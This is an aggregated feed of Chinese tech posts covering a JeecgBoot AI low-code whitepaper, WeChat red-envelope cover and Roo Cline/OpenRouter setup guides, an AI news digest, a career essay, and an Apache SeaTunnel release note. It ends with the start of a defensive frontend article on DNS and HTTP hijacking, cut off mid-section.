    • 本篇涉及了了 Git 的核心特性,和基础语法,大概阐释了涉及到的概念。可以作为我自身的查档用,也有一定的参考价值。
    • GitHub 的主要语法和操作实际上基于 Git,而 GitHub 则作为远程仓库的角色,使得代码的远程托管和管理变得更加便捷。希望本文能帮助您更好地理解和使用 Git 和 GitHub,提高您的工作效率,并在开源社区中发挥更大的作用。

    相关资料

by 沭间途泍 at January 19, 2025 06:51 AM

oschina news industry

2025 年 JeecgBoot AI 低代码平台白皮书

引言

随着人工智能技术的快速发展和数字化转型的深入推进,企业对 AI 应用的需求日益旺盛。然而,传统 AI 开发模式存在技术门槛高、开发周期长、成本高昂等问题,难以满足企业快速迭代和敏捷开发的需求。

JeecgBoot 作为一款优秀的开源低代码开发平台,拥有庞大的用户群体和丰富的功能模块。为了顺应技术发展趋势,满足用户需求,JeecgBoot 计划向 AI 低代码平台转型,打造一款集低代码开发和 AI 能力于一体的新一代 AI低代码平台

JeecgBoot 最新版已经集成 AI 大模型 ChatGPT  DeepSeek,默认使用 DeepSeek,速度更快,AI 功能目前有 AI 对话助手、AI 建表等等。

一、AI 低代码平台介绍

JeecgBoot AI 低代码平台是一款结合了人工智能(AI)和低代码开发技术的工具,旨在让用户无需编写大量代码,就能快速构建和部署 AI 功能的应用平台。它通过图形化界面、拖拽式操作和预构建的 AI 模块,降低了开发门槛,使非技术人员也能参与 AI 应用的开发。在此基础上,平台进一步引入了 AI 零代码应用能力,支持快速搭建各种复杂业务系统,同时支持插件集成和 API 排列,为用户提供更灵活、高效的开发体验。


1. 什么是 AI 低代码平台?

  • 低代码:通过可视化界面和少量代码,快速构建应用程序。
  • AI 集成:内置 AI 功能(如机器学习模型、自然语言处理、计算机视觉等),用户可以直接调用这些功能,无需从头开发。
  • AI 零代码应用能力:无需编写任何代码,通过拖拽式操作和可视化配置,快速搭建复杂业务系统。
  • 目标用户:开发者、业务人员、数据分析师,甚至是没有编程背景的用户。

2. AI 低代码平台的核心功能

  • 预构建 AI 模型:提供现成的 AI 模型(如文本分类、图像识别、语音识别等),用户可以直接使用。
  • 拖拽式开发:通过拖拽组件和模块,快速搭建 AI 应用。
  • 自动化流程:支持自动化工作流设计,简化复杂任务的实现。
  • 数据集成:轻松连接各种数据源(如数据库、API、IoT 设备等),用于训练和部署 AI 模型。
  • 模型训练与优化:提供简单的界面,帮助用户训练和优化 AI 模型。
  • 一键部署:支持快速部署到云端或本地环境。
  • AI 零代码应用能力
    • 快速搭建复杂业务系统(如 ERP、CRM、OA 等),满足企业多样化需求。
    • 支持插件集成,通过丰富的插件市场扩展平台功能。
    • 支持 API 排列与编排,通过可视化工具轻松调用和组合外部 API。

3. AI 低代码平台的优势

  • 降低开发门槛:无需深厚的编程知识,普通人也能参与 AI 开发。
  • 提高开发效率:通过可视化工具和预构建模块,大幅缩短开发周期。
  • 降低成本:减少对专业 AI 开发团队的依赖,降低人力成本。
  • 快速迭代:支持快速修改和优化,适应业务需求的变化。
  • 赋能业务人员:让业务人员直接参与 AI 应用的开发,更好地解决实际问题。
  • 灵活扩展:通过插件集成和 API 编排,轻松扩展平台功能,满足个性化需求。

4. AI 低代码平台的应用场景

  • 智能客服:快速搭建基于自然语言处理的聊天机器人。
  • 数据分析与预测:通过拖拽式操作,构建数据分析和预测模型。
  • 图像识别:用于安防、医疗影像分析、零售等场景。
  • 流程自动化:自动化处理文档、邮件、审批流程等。
  • 个性化推荐:为电商、内容平台构建个性化推荐系统。
  • IoT 智能应用:结合物联网设备,实现智能家居、工业自动化等。
  • 复杂业务系统:快速搭建 ERP、CRM、OA 等系统,支持插件集成和 API 编排。

二、平台架构与核心功能

1. AI 集成与自动化

  • AI 助手对话功能: 集成 ChatGPT 等 AI 模型,提供智能对话和生成式 AI 功能。
  • RAG 功能: 支持检索增强生成(RAG),将未训练数据与 AI 模型集成,提升智能交互能力。

2. 低代码开发能力

  • 在线表单: 通过在线配置实现表单的增删改查,支持单表、树、一对多等数据模型。
  • 在线报表: 无需编码,通过配置快速生成数据报表,支持多种图表类型(如曲线图、柱状图)。
  • 在线流程设计: 集成 Activiti 工作流引擎,支持在线画流程、自定义表单和业务流转。

3. 数据与模型管理

  • 多数据源支持: 轻松连接数据库、API、IoT 设备等,支持数据权限管理和动态报表生成。
  • 模型训练与优化: 提供简单界面,帮助用户快速训练和优化 AI 模型。

4. 用户体验与扩展性

  • 现代化前端: 采用 Vue3 构建的前端具有更快的渲染性能和更简单的语法。
  • 扩展性: 支持微服务架构,具备高度可扩展性和插件化设计。

5. AI 知识库问答系统与客服系统

  • AI 知识库: 通过导入文档或已有问答对进行训练,让 AI 模型能根据文档以交互式对话方式回答问题。
  • AI 客服: 支持企业级客服场景,提供简单易用的可视化界面,自动对文本数据进行预处理、向量化和 QA 分割。

6. AI 实现 Text2SQL 智能生成 SQL

  • Text2SQL 功能: 通过大模型将自然语言描述转换为 SQL 查询语句,支持多种数据库(如 MySQL、PostgreSQL),并可将查询结果进行可视化展示。

7. AI 机器写文档

  • 文档生成: 支持自动生成技术文档、用户手册等,通过 AI 助手快速生成高质量的文档内容。

8. AI 软文和视频生成与推荐

  • 内容创作: 支持生成营销软文、视频脚本,并提供内容推荐功能,帮助企业快速生成高质量的营销内容。

9. 低代码 APP 开发

  • 移动端开发: 支持低代码生成移动端应用,通过 AI 辅助开发,快速构建原生或跨平台移动应用。

10. AI 大屏和 AI 报表

  • AI 大屏: 支持智能生成数据可视化大屏,自动适配不同设备和屏幕尺寸。
  • AI 报表: 通过 AI 技术自动生成报表,支持多数据源集成和动态数据更新。

11. AI 零代码平台:自动搭建复杂业务系统

  • 智能需求分析: 用户通过自然语言描述业务需求,AI 自动分析并生成系统设计方案。
  • 可视化系统搭建: 提供丰富的预构建组件,用户通过拖拽方式快速搭建系统。
  • AI 驱动的数据处理: 自动连接多种数据源,实现数据集成和管理。
  • 自动化流程设计: 集成工作流引擎,支持复杂业务流程的自动化设计。
  • 智能部署与运维: 一键部署到云端或本地环境,支持多种部署方式。
  • AI 辅助优化: 根据用户反馈和系统运行数据,AI 自动提出优化建议。

三、应用场景

  • 智能客服: 快速搭建基于自然语言处理的聊天机器人。
  • 数据分析与预测: 通过拖拽式操作构建数据分析和预测模型。
  • 图像识别: 应用于安防、医疗影像分析、零售等领域。
  • 流程自动化: 自动化处理文档、邮件、审批流程。
  • 个性化推荐: 为电商和内容平台构建个性化推荐系统。
  • AI 知识库: 构建企业级知识库,支持智能问答和知识管理。
  • AI 大屏与报表: 生成数据可视化大屏和智能报表,支持实时数据分析。
  • 复杂业务系统搭建: 通过 AI 零代码平台,自动搭建 ERP、CRM、供应链管理等复杂业务系统。

四、技术优势

  • 降低开发门槛: 无需深厚的编程知识,非技术人员也能参与 AI 应用的开发。
  • 提高开发效率: 通过可视化工具和预构建模块,大幅缩短开发周期。
  • 降低成本: 减少对专业 AI 开发团队的依赖,降低人力成本。
  • 快速迭代: 支持快速修改和优化,适应业务需求的变化。
  • 赋能业务人员: 让业务人员直接参与 AI 应用的开发,更好地解决实际问题。

五、未来发展规划

  • 技术深化: 持续优化 AI 与低代码的融合,支持更复杂的 AI 应用。
  • 行业定制化: 针对医疗、金融、制造等不同行业提供定制化解决方案。
  • 边缘计算支持: 结合边缘计算,支持在本地设备上运行 AI 模型。
  • AI 民主化: 推动 AI 技术的普及,让更多企业和个人能够轻松使用。

六、总结

JeecgBoot AI 低代码平台,将通过结合 AI 技术和低代码开发模式,为企业和开发者提供了一个高效、灵活的开发环境。它不仅降低了开发门槛,还通过智能化功能提升了用户体验,助力企业快速适应市场变化,推动数字化转型。AI 零代码平台的引入,进一步扩展了平台的能力,使企业能够自动搭建各种复杂业务系统,实现真正的智能化转型。

by 来源: 投稿 at January 19, 2025 06:47 AM

juejin career

【微信公众号】微信红包封面发放流程

昨天收到了微信公众号团队的24年创作回顾及赠送微信红包封面的通知,自己留着也无用,想着借花献个佛送给小伙伴,领取后根据提示一时没有找到发放入口,这里琢磨并记录一下流程,后面需要的小伙伴少走弯路。

图片

开通微信红包封面

开通限制:完成公众号/服务号已开通微信认证,或主体为个人的订阅号用户数达100个且已在微信红包封面开放平台注册

了解得知,如果想要在图文中发放微信红包封面需要先开通【微信红包封面】功能的,否则在工具栏中不展示该选项。

图片

点击【新的功能】,在【未开通】【交互管理】中找到【微信红包封面】,点击【去开通】

图片

点击【开通】

图片

如果没有注册微信红包封面平台可能会提示注册,已注册过可跳过,没有注册的可以参考下面的【注册微信红包封面平台】

图片

满足条件后就可以开通微信红包封面功能了。

图片

注册微信红包封面平台

微信红包封面平台:cover.weixin.qq.com/#/

无特殊需要注意的事项,按照提示填写即可。

图片

图片

图片

图片

图片

图片

图片

图片

图片

制作购买发放微信红包封面

微信红包平台注册完成后,点击首页的【定制封面】上传红包封面提交审核

图片

审核通过后,可以点击【封面兑换卡】使用兑换卡兑换或者进入红包详情进行购买

图片

图片

图片

兑换完成即可进行发放设置,发放成功后,才可以到微信公众图文进行发放领取

图片

发放微信红包封面

重新编辑图文就会发现工具栏中多出了一个红包封面的功能

图片

点击【红包封面】选红包封面,编辑图文内容发布

图片

发布完成后,预览效果如下

图片

购买使用须知

微信红包封面的购买、使用情况如下所示

图片

总结

微信红包封面的整体流程:

注册登录微信红包封面平台 -> 上传定制红包封面 -> 等待微信红包审核 -> 审核通过购买/兑换卡兑换红包封面 -> 发放红包封面 -> 微信公众号/视频号发布红包封面 -> 领取红包封面

友情提示

见原文:【微信公众号】微信红包封面发放流程)

本文同步自微信公众号 "程序员小溪" ,这里只是同步,想看及时消息请移步我的公众号,不定时更新我的学习经验。

by 小溪彼岸 at January 19, 2025 06:35 AM

oschina news industry

天天 AI-20250120

2AGI.NET | 探索 AI 无限潜力,2AGI 为您带来最前沿资讯。

2AGI.NET:天天AI-20250120

2025年,人工智能(AI)技术继续在多个领域实现突破,从DeepSeek新模型的开源到OpenAI为研究长寿推出的GPT-4b,再到多模态Agent技术的应用,AI技术正以前所未有的速度和规模影响着我们的世界。本文将为您梳理近期的技术热点,带您一探究竟。

全面解读 AI 实践课程:动手学大模型(含PDF课件)

《动手学大模型》系列编程实践教程,源自上海交通大学2024年春季《人工智能安全技术》课程讲义的深度拓展,由资深教师张倬胜精心打造。本教程专注于为大模型领域提供详尽的入门编程指导,以简洁明了的实践项目为载体,助力同学们迅速掌握大模型核心要义,为其后续的课程设计与学术研究筑牢根基,开启大模型探索之旅。来源 原文

AI工具市场多维度剖析:分类、地区、来源与收入榜单深度解读-12月

随着人工智能技术的飞速发展,各类AI工具如雨后春笋般涌现,它们在不同领域发挥着重要作用,为人们的生活和工作带来了诸多便利与创新。本文将从AI月榜、AI分类榜、AI地区榜、AI来源榜、AI收入榜五个维度,深入剖析当前热门的AI工具,2AGI 以期为读者提供一个全面、清晰的AI工具市场概览。来源 原文

Anthropic 重磅推荐:构建有效的代理

上一篇我们讲了 Google AI 智能体白皮书,本文我们将来看看 Anthropic Agent 在理解上有何不同?本报告由 Erik Schluntz 和 Barry Zhang 撰写。该工作借鉴了Anthropic 在构建代理方面的经验,以及客户分享的宝贵见解,2AGI 推荐收藏阅读!来源 原文

DeepSeek新模型霸榜,代码能力与OpenAI o1相当且确认开源,网友:今年编程只剩Tab键

量子位报道了DeepSeek发布的新模型,该模型在代码生成能力上与OpenAI的o1相当,并且确认开源。这一消息引发了网友的广泛讨论,许多人认为未来的编程工作可能更多依赖于AI工具。DeepSeek的开源策略不仅推动了AI技术的普及,也为开发者提供了强大的工具。来源 原文

多活十年!OpenAI为研究长寿推出GPT-4b,联手清华大牛丁胜搞“细胞重编程”,奥特曼本人投资

量子位报道了OpenAI为研究长寿推出的GPT-4b模型,该模型与清华大学的丁胜教授合作,致力于“细胞重编程”研究。这一项目还获得了奥特曼本人的投资,显示了AI技术在生物医学领域的应用潜力。来源 原文

OpenAI即将发布博士级,超级AI Agent

AIGC开放社区报道了OpenAI即将发布的博士级超级AI Agent,这一新产品的发布标志着AI技术在智能代理领域的重大突破。超级AI Agent不仅能够处理复杂的任务,还能提供高度专业化的服务,预示着AI技术在多个领域的广泛应用。来源 原文

最新扣子(coze)实战应用工作流:爆款小红书”关二爷出圈”图文智能体,超详细教程手把手教学

杰克船长的AIGC提供了最新扣子(coze)实战应用工作流的教程,特别是如何生成小红书上的“关二爷出圈”图文智能体。这一教程为开发者提供了详细的步骤和方法,降低了技术门槛,使得更多人能够参与到AI应用的开发中。来源 原文

模拟芯片,谁是成长最快企业?

数说商业探讨了模拟芯片领域的成长最快企业,分析了各企业在技术创新和市场拓展方面的表现。模拟芯片在多个领域具有重要应用,这一讨论为理解模拟芯片市场的竞争格局和发展趋势提供了宝贵的视角。来源 原文

没有工具,Agent啥也不是?

探索AGI讨论了Agent技术的工具依赖性,指出Agent的性能高度依赖于其使用的工具。这一讨论为理解Agent技术的实际应用和优化提供了新的思路,展示了AI技术的复杂性和多样性。来源 原文

GPU 这么厉害,我们为什么还要用 CPU?

AI前线探讨了GPU和CPU在计算任务中的不同应用场景,指出尽管GPU在并行计算任务中表现出色,但CPU在某些任务中仍然不可替代。这一讨论为理解计算架构的选择提供了宝贵的参考,帮助开发者更好地选择适合的硬件平台。来源 原文

多活十年!OpenAI为研究长寿推出GPT-4b,联手清华大牛丁胜搞“细胞重编程”,奥特曼本人投资

硅星人Pro再次报道了OpenAI为研究长寿推出的GPT-4b模型,强调了该模型在生物医学领域的应用潜力。这一项目不仅展示了AI技术的跨学科应用,也为未来的健康研究提供了新的方向。来源 原文

周末,芯片、铜缆、小红书、华为手机重要信息!

行业精选提供了关于芯片、铜缆、小红书和华为手机的重要信息,这些信息涵盖了AI技术在不同领域的最新应用和发展趋势。这一报道为理解AI技术的广泛应用和市场潜力提供了宝贵的视角。来源 原文

🔥 热门文章推荐(2AGI.NET)

2AGI 技术社区,欢迎扫码加入

by 来源: 投稿 at January 19, 2025 06:06 AM

juejin freebie

Roo Cline+OpenRouter免费、付费大模型一网打尽

OpenRouter简介

OpenRouter 就是一个大模型 API 路由器,旨在将各种 AI 模型和服务集成到一个统一的接口中。它允许用户通过简单的配置就能调用不同大模型的能力。

详细介绍请查看:大模型统一接入路由器OpenRouter

限制

free标识免费模型不会产生费用,速度会相对慢一些。

安装Roo Cline

安装方式参考:【VS Code】Roo Cline+DeepSeek更好用?

获取OpenRouter API Key

API Key 需要妥善保管,后续将不能查看

OpenRouter API Key获取地址:openrouter.ai/settings/ke…

点击顶部【更多】选择【Keys】进入API Key列表

图片

点击【Create Key】创建一个新的API Key

图片

输入API Key名称、限额(可不填),创建成功后复制API Key,这里需要妥善保管,后续将不能查看

图片

图片

Roo Cline配置免费模型

Roo Cline目前已经支持了 OpenRouter 模型接入,在【API Provider】列表中选择【OpenRouter】,在【OpenRouter API Key】中输入上面创建的API Key,OpenRouter 中不仅包含付费模型也同样包含了很多免费模型,在【Model】输入“free”过滤所有免费模型,选择自己需要的,最后点击右上角的【Done】完成配置。

图片

图片

有的模型会报错,出现报错时可以切换其他模型再次重试,经过测试发现借助 OpenRouter 之前需要代理才可以使用的模型也能正常使用了,着实不错👍🏻。

图片

                   

图片

Roo Cline配置其他模型

OpenRouter 使用非免费模型时需要在 OpenRouter Integrations 中配置,否则就会报错

图片

OpenRouter Integrations设置

OpenRouter Integrations地址:openrouter.ai/settings/in…

OpenRouter API Key获取地址:openrouter.ai/settings/ke…

进入OpenRouter 点击右上角更多,选择【Settings】,进入设置页面,选中【Integrations】

图片

在模型列表找到【Google AI Studio】,点击右侧的编辑

图片

输入 Google AI Studio 的API Key

图片

图片

Roo Cline配置

在【API Provider】列表中选择【OpenRouter】,在【OpenRouter API Key】中输入上面创建的API Key,在【Model】选择“非free”标识的模型,最后点击右上角的【Done】完成配置。

图片

图片

配置完成后就可以正常使用了,OpenRouter做了相关代理处理,无需科学上网也可以正常使用Gemini等模型,同时OpenRouter提供了详细的调用记录,可以清晰查看token消耗情况。

图片

图片

使用体验

Roo Cline + OpenRouter 解决了一些模型地域性问题,国内网络即可正常使用,使用方式和正常模型使用没有太大区别。OpenRouter 比较好的一点是不仅可以使用付费模型,而且可以免费使用很多免费模型,但有时免费的往往是最昂贵的,免费模型会时常出现请求报错的情况,免费使用者需要有一定的忍耐度。

友情提示

见原文:Roo Cline+OpenRouter免费、付费大模型一网打尽)

本文同步自微信公众号 "程序员小溪" ,这里只是同步,想看及时消息请移步我的公众号,不定时更新我的学习经验。

by 小溪彼岸 at January 19, 2025 05:40 AM

juejin career

跟随,跟随,还是跟随

834fa25d2c84592cafd5ac13e26b376a.jpg

前言


最近上班地铁上,或者周末挤点时间看看书,这是一本人物传记,讲的也是那个动荡的年代,一个主人翁从一个小小的组织,陪伴一起经历各种坎坷,最后团队做大了,但是故事还没完。斗争还在继续,不断起起伏伏,最后才变成那个主人翁,有了一个舞台真正去施展自身的设想,也为一部分人打开新天地。

没错啦,有点像张居正,但是又不像,张居正开局没有说这么难打,毕竟跟着裕王一队,原始力量很强的,原本嘉靖也是为了裕王上来铺路,清洗严嵩一派,张居正在里面出力,后面成长为权臣才有机会施展自己拳脚。

其实读人物传记很有意思,因为很多情节不是自己的剧本能遇到的,或者很难经历到,你可以看到人生命运起起伏伏,在这个过程各种斗争,不管是跟人的斗争,还是跟项目、事情斗争,其实争来争去就是资源,有资源好办事,垄断一直是简单粗暴的方式。

为了这点醋,我包了一顿饺子

同时我们也会看到个人命运的渺小,就像当年明月讲的,他看到很多人即使做出很大的成就,其实他也只不过被时代裹挟着前进的,时代各种契机最终促成了各式各样的人物。

如果没有危机,就不会有跌宕起伏的人生故事,其实都是人生阅历。就像雷军讲:以前我觉得很多技能都没有用,但是后来发现它都用上。

人生阅历就是这样,一开始你觉得人生剧本为啥这么多挫折,不顺心的事,但是后来当你去做类似的事情发现这不就是以前我踩过的坑。失败的经历其实是为其他有可能做成的事情做铺垫。

东方不亮西方亮

人物故事


  • 创业期间

开场是一个军阀混战年代,民不聊生,渐渐有一群读书人,还有年轻人抱着理想参与事业建设。当然创业阶段嘛,由于自身经济问题,或者经验问题,肯定前期少不了各种困难。

主人翁a登场了,他一开始在一个偏远的地方干项目,同样也是艰苦的环境,外面有强大的竞争对手,内部还需要组织动员,然后还要抓经济生产。a有段时间做得蛮好的,但是最后因为外部对手太过强大,最后项目没做成。

这时有个大佬也在做类似的项目,结果他就做成了,这时a一直追随他一起做事。项目有点起色,但是还是无法跟大公司对抗,渐渐大公司也会围剿这些新兴势力,这时进入战略转移,需要保存有生力量嘛,艰难的路途跋涉来躲避危险。在这期间a担任z委角色。【后来像阿里或者公司常常有这么一个角色,在处理人关系上,更加人性化,还有另一个角色在抓事,比较严格】

  • 大公司阶段

后来团队变大之后,开始内部有一些争议,a就被派去了边远的地方工作学习,同时他家里也受到影响,在传记里面描述面对压力,a坐在椅子上一根接着一根抽烟,人消瘦了很多,空闲的时候也会一直绕着房子不断的散步还有思考,思考未来工作还有整个未来的需求是怎样的。

在这我们可以看到,即使很多厉害的人,也会有棘手的问题,面对巨大的压力,生活的巨大挫折,人的反应都是一样。

后来团队出现点问题,需要一些有能力的人回来继续发力,但是这有个问题,人性常规被冷落之后肯定失去信心,有些甚至有包袱的想法。这是最难处理的,也需要反复给出自己的答案。

古代一般大将或者诸侯都会将自己亲人搬到离中心比较近的地方,其实就是质子,让其他人放心你可以一心一意做事。

  • 重新启用 到 重用

过程我们就不细谈,a回来之后从一些不太核心位置开始,慢慢由于位置腾空出来,a重新回到舞台。期间需要体现专业能力,还有解除别人的猜疑,能否继续完成之前的定好的道路。

再到后来,有了自己的班底,开始实施自己设想,解除束缚之后,终于可以大展身手了。

这一段虽然非常之短,但是期间的一些动作非常多,就像刘邦韩信,没收人家多兵权,但是刘邦还是鸡蛋忌惮韩信的能力,这个过程就是反复对弈过程。

你想象刘邦要让韩信重新干活,是不是要考虑他未来的工作安排,情绪上会不会抗拒,会不会将现在规划好的计划推倒,这个很重要。如果项目烂尾,这些是规划者的荣誉跟能力象征,有谁会搬起石头砸自己脚。

人生感悟


作为普通的人士,能力就是一碗饭,如果能力特别牛逼,即使一时的落魄,未来有机会还是会发展起来。

因为我们以前写过一篇文章,血缘、手段可以被继承的,当你的经验是有用的有效的,在环境允许下,很快凭借以往的经历你又能起来。

如何让自己成长起来,就是跟追大佬。当你发现你做的事经常各种问题,一直做不好,很简单的做法就是跟随那些同样做类似的事情,但是他们就能将事情办妥的人,这是跟随的力量。

同时我们所处的场景没有书里主人翁那么对抗激烈,但是模式是一样的。

当你没有上桌之前,理想就是狗屁

为什么题目定为跟随,我描述几个场景会让大家眼前一亮。

1、最近几年自媒体宣传的精神觉醒

我们经常在一些自媒体刷到什么精神觉醒,什么思维模式要改变,然后变强是吧。逻辑是没有问题的,但是得有一个舞台给你表演,得有大佬赏识你给你大展身手。

是了,资源是核心中的核心,如果你连资源都没有,你改变思维模式有什么用?

所以首先第一步改变你对资源的定义,在我上家老板跟我说:他以前的老板跟他说,不要把他当成上级,而是要把他当成资源。【他又将这个话跟我讲哈哈哈】

我们很容易被概念,或者其他领域的东西干扰无法将力量发挥到最大。以往我们能利用是自己的下属的能力,周边同级的同学的力量,但是往往能量不够大的,无法解决非常麻烦的事情。

当你开始拥有资源之后,搭好舞台,才是开始做事思维模式的改变,所以这些自媒体也是坏,因为普通人在第一步资源获取上卡脖子,被垄断,你再怎么觉醒都没有用,这个根源。

2、参考系

人的定义是由他的所有社会关系总和,读书看学校的质量,工作看公司的规模,往往一个盘子力量越大能做的事情就多。

你能做的事情,往往可能是别人决定的。以前我们也写过一篇文章,在《百家讲坛》里面有位老师讲,人要有三行,你自己能行,有人说你行,说你行的人行。

做事一直是以信任为基础开展,所以你会看到一些招聘以学历为标准,有些以以往表现来借鉴,古代曹操为了当好的位置也需要请你给他评价吹吹风,一定程度上你的能力是别人的参考系给出的答案。

因为这个最简单的判断基础,如果你买什么债基、基金、私募,往往会看一往一年几年期间的收益、分红,你才会放心把钱投资进去。

没错辣,这就是跟随的力量,也不一定说把自己位置放得很低,关键在于学习,在这个过程有了彼此的信任,能够拿到资源去做事。

by 大鸡腿同学 at January 19, 2025 05:37 AM

oschina news project

Apache SeaTunnel 2.3.9 正式发布:多项新特性与优化全面提升数据集成能力

近日,Apache SeaTunnel 社区正式发布了最新版本 2.3.9。本次更新新增了Helm 集群部署、Transform 支持多表、Zeta新API、表结构转换、任务提交队列、分库分表合并、列转多行等多个功能更新!

file

作为一款开源、分布式的数据集成平台,本次版本通过新增功能、性能优化与问题修复,为开发者与企业用户带来了更加全面的支持。

📥 2.3.9版本下载:https://seatunnel.apache.org/download/

📕 Release Note:https://github.com/apache/seatunnel/tree/2.3.9

👇👇重要功能解读,可以观看视频👇👇

版本亮点

扩展数据处理与监控能力

任务与数据监控

  • 新增Zeta 新API支持通过 REST API 提交任务并获取日志、任务日志淘汰,提供Zeta Manager UI实时可视化功能。
  • Zeta 支持提交任务排队、Rest API 提交 Hocon 格式作业配置、支持 DDL 期间暂停恢复
  • Schema 演进
    • 多个连接器(如 Oracle、StarRocks、Paimon 等)新增对 Schema Evolution(Schema 演进)的支持,进一步降低复杂数据源集成的门槛。

功能增强

  • Transform提供对多表支持、动态类型处理以及合并分库分表等新能力,为复杂数据转换场景提供灵活性。
  • Transform 支持分库分表合并
  • Transform 支持改表名/字段名
  • 支持RowKindExtractor转换操作类型
  • 支持SQL 中列转多行

多源适配

  • 扩展了对新数据源的支持,例如 Milvus 动态 Schema、多表读取和 Redis 数据删除操作等。

大幅提升任务运行效率

  • 资源调度与线程池管理
    • 优化 Zeta 引擎的 CoordinatorService 线程池配置,避免潜在的内存溢出问题。
  • 任务执行模式
    • 支持 Spark 与 Flink 、 Zeta的多表 Transform,减少任务间依赖,提升并发性能。
    • 支持 Oracle-CDC 读取 DDL。
    • Debezium 增强,支持发送到消息队列进行缓冲,支持特殊数据类型及时间类型,可通过多表/表写1个Topic。
  • 数据流传输
    • 改进了 ClickHouse、JDBC 等连接器的写入模式,提升大数据量处理场景的稳定性。

新增 DDL Sink 支持

连接器 PR 作者
StarRocks #8082 jw-itq
Paimon #8211 dailai
Oracle #7908 dailai
Doris #8250 deng-jeffer
Postgresql #8276 hawk9821
Elasticsearch #8412 zhangshenghang

Bug 修复与可靠性提升

  • 支持 Helm 快速部署集群
  • 修复了多项连接器相关问题,如 MongoDB、Kafka、Hive 等连接器的异常处理和功能失效问题。
  • 改善了 Avro 格式对 Null 值的支持,解决了 Excel 数据读取的公式与数值解析错误。
  • 优化了 Docker 部署与 CI 流程,确保系统在不同环境中的一致性。

致谢贡献者

感谢Tyrantlucifer对本次发版工作的指导和帮助,同时感谢以下社区贡献者的共同努力,让本次发版工作顺利完成:

Github ID Github ID Github ID Github ID
Asura7969 Cancai Cai Carl-Zhou-CN CosmosNi
Daniel Duan David Zollo Guangdong Liu GumKey
Jarvis Jast Jeremy Jia Fan
Mohammad Arshad Nian Liu Nova Odysseus Zhang
QiaoJ-Chen SEZ Shashwat Tiwari Shiwanming
Tu-maimes Tyrantlucifer Wanming Shi XQ
Xiaojian Sun YOMO LEE Zhilin Li corgy-w
czs daigoopautoy dailai deng-jeffer
dependabot[bot] dwave eyys fcb-xiaobo
hailin0 happyboy1024 limin linjianchang
litiliu luckyLJY pi-la sohurdc
tyrantlucifer welsh-wen wengys xiaochen
zhangdonghao zhouyh 不忘初心 丑西蒙
峰峰 老王    

Apache SeaTunnel 2.3.9 的发布标志着其在开源数据集成领域的进一步突破。无论是实时数据同步、批流一体化任务处理,还是复杂场景下的 Schema 管理与性能优化,SeaTunnel 都为用户提供了更强大的工具。

作为一个快速发展的 Apache 顶级项目,SeaTunnel 一直秉承社区驱动与开源精神。欢迎广大开发者与企业用户参与社区贡献,共同完善和推广这一数据集成利器。

关于白鲸开源

白鲸开源是一家开源原生的 DataOps 商业公司,已基于Apache SeaTunnel 开发的并推出了商业版软件 WhaleTunnel,提供企业级功能增强、服务、运维、Debug、定期漏洞扫描和修复,无论是产品功能、稳定性、兼容性、速度还是安全性,都比开源版 Apache SeaTunnel 有巨大的进步!感兴趣的小伙伴可以下滑添加市场经理详细咨询~

联系方式

公司网站: www.whaleops.com 联系邮箱: zenghui@whaleops.com

下滑探索更多WhaleTunnel的优势,让我们帮助你构建一个高效、安全的大数据解决方案。🚀

by 来源: 投稿 at January 19, 2025 05:32 AM

juejin frontend

前端工程化与质量保障:资源保障

资源保障是前端工程中非常关键的环节。用户访问网页时,浏览器通常先加载 HTML 文件,然后通过 HTML 文件内部关联的资源链接加载对应的 CSSJavaScript 文件。如果资源在加载过程中出现了问题,就会在不同程度上影响用户体验,严重时可能会导致页面不可用。

资源加载异常通常跟用户当时的网络状况强相关,且难以在其他环境下复现,这大大提高了问题排查的难度。因此,开发人员需要通过一系列的资源保障手段,提升前端资源的安全性和稳定性。

1. 场景分析

1.1 DNS劫持

DNS劫持也叫域名劫持,是指 DNS 解析的结果被篡改,使得用户访问某个域名时,被重定向到了错误的 IP 地址。例如,用户想要访问 example.com,正常情况下应该解析到 IP地址 A,但经过 DNS 劫持后,可能被解析到了 IP 地址 B,导致访问了错误的网站。

image.png

DNS 劫持的场景可能有以下两种情况:

  • 运营商 DNS 劫持:用户上网的 DNS 服务器通常是由运营商分配的,运营商可以将域名解析到任意地址。一般来说,运营商不会无故劫持域名,但是运营商出于减少骨干网络链路的负载压力、节省网间结算费用等考虑,往往会通过 DNS 劫持将请求重定向到自己的缓存服务器上。具体做法就是通过分光器映射用户的请求,抢先建立 HTTP 连接,而源服务器返回的数据则被丢弃。这并不只有坏处,CDN 厂商的工作就是从这演变而来的。

  • 恶意 DNS 劫持:它会将用户重定向到恶意网站,从而达到广告植入、钓鱼诈骗、盗取个人信息等目的。

防范手段:

  • 使用可靠的 DNS 服务器,比如国外的有 Google DNS(8.8.8.8)、 Cloudflare DNS(1.1.1.1),国内的有CNNIC DNS、114 DNS、阿里 DNS等。
  • 对于企业网络,可以使用 DNSSEC(DNS Security Extensions),它通过数字签名来保证 DNS 数据的完整性和来源可靠性,防止 DNS 劫持。

1.2 HTTP劫持

HTTP 劫持是指在用户与服务器进行 HTTP 通信的过程中,攻击者在传输链路中监听、拦截并篡改 HTTP 数据。常见的有在网页中插入广告、恶意脚本等,或者篡改页面内容。

HTTP 劫持方式主要有三种:

  • 注入自定义代码片段:通过执行脚本以篡改 HTML 文件内容
  • iframe 劫持:将用户要访问的HTML内容放到iframe中进行引用,然后在伪造的HTML文件中插入自定义的内容
  • 302重定向劫持:其原理与 DNS 劫持类似,在返回响应结果时,将HTTP响应报文的状态码改成302,并设置重定向 URL,从而使浏览器重定向跳转到被劫持后的页面。

1.3 资源加载异常

资源加载异常是最常出现的场景,表现包括:

  • HTML 资源加载错误:导致页面白屏
  • CSS 资源加载错误:导致样式丢失,页面布局混乱,可用性降低
  • JavaScript 资源加载失败:可能会导致交互无响应或白屏等异常
  • 图片资源加载失败:图片无法显示
  • 页面长时间白屏:资源加载耗时过长

这些场景虽然不会导致页面内容被篡改,但在一定程度上影响用户的体验,从而引起用户流失、业务损失。

资源加载异常通常是由于资源加载时间过长或加载失败导致的:

  • 资源加载时间过长:可能是资源文件体积过大、用户网络环境较差等原因导致的
  • 资源加载失败:可能是由于加载过程中的网络抖动、网络中断,或者资源地址的目标服务器故障

2. 防劫持保障

本节介绍三个防劫持保障的前端技术手段。

2.1 标记过滤法

原理:通过自定义属性为正常的 HTML 标签打上合法标记,把没有标记的 HTML 标签视为非法标签并移除,可以帮助防止一些简单的页面篡改攻击。

实现思路:

